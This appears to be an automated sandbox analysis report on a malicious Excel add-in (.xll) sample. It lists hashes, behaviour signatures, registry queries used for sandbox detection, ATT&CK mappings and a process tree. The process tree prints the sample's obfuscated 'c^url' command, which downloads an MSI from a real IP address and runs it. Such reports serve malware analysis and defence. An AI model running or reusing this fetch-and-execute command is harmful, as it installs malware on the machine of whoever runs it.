5f129fdff5dfb2e851c024c8b0015be86c085951d36d81cc86a73becef1c5c10

General

Target

5f129fdff5dfb2e851c024c8b0015be86c085951d36d81cc86a73becef1c5c10_JC.xll
Size

12KB
MD5

486e6d24f42c4fce3bd5feb6d628b382
SHA1

d8513e0bd8ecd94a3f7d6ae1a43761a2f8d07627
SHA256

5f129fdff5dfb2e851c024c8b0015be86c085951d36d81cc86a73becef1c5c10
SHA512

dd707663be1a50968866ff62b51f2f05d6b1196aab3ad9b5a729f4c08b130b48cadf208770a645ec80a8db01f4dbd74721d816ba607751fdfbda7fd727ffd230
SSDEEP

192:IU5z9i9veq2pJk+/qcJklyJOEtyF08TjsvGQwrgAhp:9z9SvWJH/IwJOUyF08UeQwrgC

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4144	5004	cmd.exe	85

Loads dropped DLL 2 IoCs

pid	Process
5004	EXCEL.EXE
5004	EXCEL.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
5004	EXCEL.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
5004	EXCEL.EXE
5004	EXCEL.EXE

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
5004	EXCEL.EXE
5004	EXCEL.EXE
5004	EXCEL.EXE
5004	EXCEL.EXE
5004	EXCEL.EXE
5004	EXCEL.EXE
5004	EXCEL.EXE
5004	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 5004 wrote to memory of 4144	5004	EXCEL.EXE	88
PID 5004 wrote to memory of 4144	5004	EXCEL.EXE	88
PID 4144 wrote to memory of 2664	4144	cmd.exe	91
PID 4144 wrote to memory of 2664	4144	cmd.exe	91

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\5f129fdff5dfb2e851c024c8b0015be86c085951d36d81cc86a73becef1c5c10_JC.xll"
1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5004
- \??\c:\windows\system32\cmd.exe
  c:\windows\system32\cmd.exe /c c^url -o c:\users\public\1.msi http://94.131.106.78/BcDx2y/OkJKB&&timeout 10&&c:\users\public\1.msi
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4144
- - C:\Windows\system32\curl.exe
    curl -o c:\users\public\1.msi http://94.131.106.78/BcDx2y/OkJKB
    3⤵
    PID:2664

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\5f129fdff5dfb2e851c024c8b0015be86c085951d36d81cc86a73becef1c5c10_JC.xll

Filesize
12KB

MD5
486e6d24f42c4fce3bd5feb6d628b382

SHA1
d8513e0bd8ecd94a3f7d6ae1a43761a2f8d07627

SHA256
5f129fdff5dfb2e851c024c8b0015be86c085951d36d81cc86a73becef1c5c10

SHA512
dd707663be1a50968866ff62b51f2f05d6b1196aab3ad9b5a729f4c08b130b48cadf208770a645ec80a8db01f4dbd74721d816ba607751fdfbda7fd727ffd230

Download Submit
C:\Users\Admin\AppData\Local\Temp\5f129fdff5dfb2e851c024c8b0015be86c085951d36d81cc86a73becef1c5c10_JC.xll

Filesize
12KB

MD5
486e6d24f42c4fce3bd5feb6d628b382

SHA1
d8513e0bd8ecd94a3f7d6ae1a43761a2f8d07627

SHA256
5f129fdff5dfb2e851c024c8b0015be86c085951d36d81cc86a73becef1c5c10

SHA512
dd707663be1a50968866ff62b51f2f05d6b1196aab3ad9b5a729f4c08b130b48cadf208770a645ec80a8db01f4dbd74721d816ba607751fdfbda7fd727ffd230

Download Submit
memory/5004-17-0x00007FF8BEE50000-0x00007FF8BF045000-memory.dmp

Filesize
2.0MB

Download
memory/5004-7-0x00007FF8BEE50000-0x00007FF8BF045000-memory.dmp

Filesize
2.0MB

Download
memory/5004-18-0x00007FF8BEE50000-0x00007FF8BF045000-memory.dmp

Filesize
2.0MB

Download
memory/5004-6-0x00007FF87EED0000-0x00007FF87EEE0000-memory.dmp

Filesize
64KB

Download
memory/5004-8-0x00007FF8BEE50000-0x00007FF8BF045000-memory.dmp

Filesize
2.0MB

Download
memory/5004-9-0x00007FF87EED0000-0x00007FF87EEE0000-memory.dmp

Filesize
64KB

Download
memory/5004-10-0x00007FF8BEE50000-0x00007FF8BF045000-memory.dmp

Filesize
2.0MB

Download
memory/5004-11-0x00007FF8BEE50000-0x00007FF8BF045000-memory.dmp

Filesize
2.0MB

Download
memory/5004-4-0x00007FF87EED0000-0x00007FF87EEE0000-memory.dmp

Filesize
64KB

Download
memory/5004-2-0x00007FF87EED0000-0x00007FF87EEE0000-memory.dmp

Filesize
64KB

Download
memory/5004-12-0x00007FF87C840000-0x00007FF87C850000-memory.dmp

Filesize
64KB

Download
memory/5004-14-0x00007FF87C840000-0x00007FF87C850000-memory.dmp

Filesize
64KB

Download
memory/5004-3-0x00007FF8BEE50000-0x00007FF8BF045000-memory.dmp

Filesize
2.0MB

Download
memory/5004-1-0x00007FF8BEE50000-0x00007FF8BF045000-memory.dmp

Filesize
2.0MB

Download
memory/5004-50-0x00007FF8BEE50000-0x00007FF8BF045000-memory.dmp

Filesize
2.0MB

Download
memory/5004-5-0x00007FF8BEE50000-0x00007FF8BF045000-memory.dmp

Filesize
2.0MB

Download
memory/5004-19-0x00007FF8BEE50000-0x00007FF8BF045000-memory.dmp

Filesize
2.0MB

Download
memory/5004-20-0x00007FF8BEE50000-0x00007FF8BF045000-memory.dmp

Filesize
2.0MB

Download
memory/5004-21-0x00007FF8BEE50000-0x00007FF8BF045000-memory.dmp

Filesize
2.0MB

Download
memory/5004-40-0x00007FF87EED0000-0x00007FF87EEE0000-memory.dmp

Filesize
64KB

Download
memory/5004-41-0x00007FF87EED0000-0x00007FF87EEE0000-memory.dmp

Filesize
64KB

Download
memory/5004-44-0x00007FF87EED0000-0x00007FF87EEE0000-memory.dmp

Filesize
64KB

Download
memory/5004-43-0x00007FF8BEE50000-0x00007FF8BF045000-memory.dmp

Filesize
2.0MB

Download
memory/5004-42-0x00007FF87EED0000-0x00007FF87EEE0000-memory.dmp

Filesize
64KB

Download
memory/5004-45-0x00007FF8BEE50000-0x00007FF8BF045000-memory.dmp

Filesize
2.0MB

Download
memory/5004-46-0x00007FF8BEE50000-0x00007FF8BF045000-memory.dmp

Filesize
2.0MB

Download
memory/5004-47-0x00007FF8BEE50000-0x00007FF8BF045000-memory.dmp

Filesize
2.0MB

Download
memory/5004-48-0x00007FF8BEE50000-0x00007FF8BF045000-memory.dmp

Filesize
2.0MB

Download
memory/5004-49-0x00007FF8BEE50000-0x00007FF8BF045000-memory.dmp

Filesize
2.0MB

Download
memory/5004-0-0x00007FF87EED0000-0x00007FF87EEE0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads